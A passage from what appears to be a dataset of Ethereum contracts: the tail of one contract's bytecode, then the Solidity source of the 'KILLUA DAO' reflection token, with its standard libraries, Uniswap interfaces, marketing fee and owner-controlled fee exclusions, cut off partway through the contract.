ca578081fd5b81516121d581612e7a565b9392505050565b600080600080608085870312156121f1578283fd5b84516001600160401b0380821115612207578485fd5b818701915087601f83011261221a578485fd5b815161222861203082612e2b565b80828252602080830192508086018c82838702890101111561224857898afd5b8996505b8487101561227357805161225f81612e7a565b84526001969096019592810192810161224c565b508a0151909850935050508082111561228a578485fd5b612296888389016120c2565b945060408701519150808211156122ab578384fd5b6122b788838901612012565b935060608701519150808211156122cc578283fd5b506122d987828801612012565b91505092959194509250565b600080602083850312156122f7578182fd5b82356001600160401b0381111561230c578283fd5b6123188582860161207a565b90969095509350505050565b600080600060408486031215612338578081fd5b83356001600160401b0381111561234d578182fd5b6123598682870161207a565b909450925050602084013561236d81612e7a565b809150509250925092565b6000602080838503121561238a578182fd5b82516001600160401b0381111561239f578283fd5b8301601f810185136123af578283fd5b80516123bd61203082612e2b565b81815283810190838501858402850186018910156123d9578687fd5b8694505b83851015612403576123ef8982612197565b8352600194909401939185019185016123dd565b50979650505050505050565b60008060408385031215612421578182fd5b61242b8484612120565b9150602083015190509250929050565b6000806040838503121561244d578182fd5b823561245881612e7a565b9150602083013561246881612e7a565b809150509250929050565b60008060008060608587031215612488578182fd5b843561249381612e7a565b935060208501356124a381612e7a565b925060408501356001600160401b038111156124bd578283fd5b6124c98782880161207a565b95989497509550505050565b6000806000606084860312156124e9578081fd5b83356124f481612e7a565b9250602084013561250481612e7a565b9150604084013561236d81612e7a565b600060208284031215612525578081fd5b81356121d581612e7a565b600080600060608486031215612544578081fd5b833561254f81612e7a565b925060208481013561256081612e7a565b925060408501356001600160401b0381111561257a578283fd5b8501601f8101871361258a578283fd5b803561259861203082612e2b565b81815283810190838501858402850186018b10156125b4578687fd5b8694505b838510156125d65780358352600194909401939185019185016125b8565b5080955050505050509250925092565b6000806000604084860312156125fa578081fd5b833561260581612e7a565b925060208401356001600160401b0381111561261f578182fd5b61262b8682870161207a565b9497909650939450505050565b600060208284031215612649578081fd5b81516001600160401b0381111561265e578182fd5b61266a84828501612130565b949350505050565b600060608284031215612683578081fd5b61268d6060612e05565b6126978484612120565b81526126a68460208501612120565b60208201526126b884604085016121a2565b60408201529392505050565b6000602082840312156126d5578081fd5b5051919050565b60008060008060008060008060006101208a8c0312156126fa578687fd5b8951985060208a015161270c81612e7a565b8098505060408a0151965060608a0151955060808a0151945060a08a0151935060c08a015192506127408b60e08c01612120565b91506127508b6101008c01612120565b90509295985092959850929598565b600080600060608486031215612773578081fd5b8351925060208401519150604084015190509250925092565b60006020828403121561279d578081fd5b813563ffffffff811681146121d5578182fd5b6000602082840312156127c1578081fd5b815160ff811681146121d5578182fd5b6000602082840312156127e2578081fd5b6121d583836121a2565b6001600160a01b03169052565b6000815180845260208085019450808401835b838110156128315781516001600160a01b03168752958201959082019060010161280c565b509495945050505050565b6000815180845260208085018081965082840281019150828601855b858110156128825782840389526128708483516128c4565b98850198935090840190600101612858565b5091979650505050505050565b6000815180845260208085019450808401835b83811015612831578151875295820195908201906001016128a2565b15159052565b600081518084526128dc816020860160208601612e4a565b601f01601f19169290920160200192915050565b80516001600160a01b031682526020808201519083015260408082015190830152606080820151908301526080808201519083015260a090810151910152565b61293b8282516127ec565b6020810151602083015260408101516040830152606081015160608301526080810151608083015260a081015160a083015260c081015160c083015260e081015160e0830152610100808201518184015250610120808201516129a0828501826128be565b50506101408181015190830152610160808201516129c0828501826127ec565b505061018081810151908301526101a090810151910152565b80516001600160a01b03168252602090810151910152565b60008251612a03818460208701612e4a565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b0392909216825263ffffffff16602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015612a9c57612a898385516128f0565b9284019260c09290920191600101612a76565b50909695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015612a9c57612ad7838551612930565b928401926101c09290920191600101612ac4565b602080825282518282018190526000919060409081850190868401855b8281101561288257612b1b8483516129d9565b9284019290850190600101612b08565b602080825282518282018190526000919060409081850190868401855b8281101561288257815180518552860151868501529284019290850190600101612b48565b60208082528251828201819052600091906040908185019080840286018301878501865b83811015612c9b57603f1989840301855281516101a08151855288820151612bbb8a8701826127ec565b5087820151888601526060808301518282880152612bdb838801826127f9565b9250505060808083015186830382880152612bf6838261288f565b9250505060a08083015186830382880152612c11838261283c565b9250505060c08083015186830382880152612c2c838261283c565b60e085810151908901526101008086015190890152610120808601519089015261014080860151908901526101608086015191945092509050612c71828801826128be565b50506101809182015191612c87868201846128be565b509588019593505090860190600101612b91565b509098975050505050505050565b602080825282518282018190526000919060409081850190868401855b828110156128825781518051855286810151151587860152858101511515868601526060908101516001600160601b03169085015260809093019290850190600101612cc6565b6000602082526121d560208301846128c4565b600060208252825160606020840152612d3c60808401826127f9565b905060208401516040840152604084015160608401528091505092915050565b60c08101610eac82846128f0565b6101c08101610eac8284612930565b60408101610eac82846129d9565b81518152602080830151908201526040808301516001600160a01b0316908201526060918201519181019190915260800190565b81518152602080830151908201526040918201516001600160a01b03169181019190915260600190565b90815260200190565b9182526001600160a01b0316602082015260400190565b6040518181016001600160401b0381118282101715612e2357600080fd5b604052919050565b60006001600160401b03821115612e40578081fd5b5060209081020190565b60005b83811015612e65578181015183820152602001612e4d565b83811115612e74576000848401525b50505050565b6001600160a01b0381168114612e8f57600080fd5b5056fea264697066735822122069c2049ce75f5b62987d1dd908129e8fc82800301744e78301fc380daad884dc64736f6c634300060c0033
[ 0, 4, 7, 24, 15, 11, 17, 9, 12, 16, 5 ]
0xf399a246942dbcce28b2c7d6cbb539b91299643c
/** KILLUA DAO - The first pseudo-DAO community token http://www.killuadao.com/ https://t.me/KILLUADAO */ pragma solidity ^0.8.3; // SPDX-License-Identifier: Unlicensed /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // contract implementation contract KILLUA is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; uint8 private _decimals = 9; // string private _name = "KILLUA DAO"; string private _symbol = "KILLUA"; uint256 private _tTotal = 1000 * 10**9 * 10**uint256(_decimals); // uint256 public defaultTaxFee = 0; uint256 public _taxFee = defaultTaxFee; uint256 private _previousTaxFee = _taxFee; // uint256 public defaultMarketingFee = 2; uint256 public _marketingFee = defaultMarketingFee; uint256 private _previousMarketingFee = _marketingFee; uint256 public _marketingFee4Sellers = 2; bool public feesOnSellersAndBuyers = true; uint256 public _maxTxAmount = _tTotal.div(1).div(100); uint256 public numTokensToExchangeForMarketing = _tTotal.div(100).div(100); address payable public marketingWallet = payable(0x54047aBB91436505B3064324B054BcEb862141CC); // mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tFeeTotal; uint256 private _rTotal = (MAX - (MAX % _tTotal)); IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndSend; bool public SwapAndSendEnabled = true; event SwapAndSendEnabledUpdated(bool enabled); modifier lockTheSwap { inSwapAndSend = true; _; inSwapAndSend = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function excludeFromFee(address account) public onlyOwner() { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner() { _isExcludedFromFee[account] = false; } function removeAllFee() private { if(_taxFee == 0 && _marketingFee == 0) return; _previousTaxFee = _taxFee; _previousMarketingFee = _marketingFee; _taxFee = 0; _marketingFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _marketingFee = _previousMarketingFee; } //to recieve ETH receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tMarketing) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tMarketing, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tMarketing); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tMarketing = calculateMarketingFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tMarketing); return (tTransferAmount, tFee, tMarketing); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tMarketing, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rMarketing = tMarketing.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rMarketing); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeMarketing(uint256 tMarketing) private { uint256 currentRate = _getRate(); uint256 rMarketing = tMarketing.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rMarketing); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tMarketing); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateMarketingFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_marketingFee).div( 10**2 ); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } 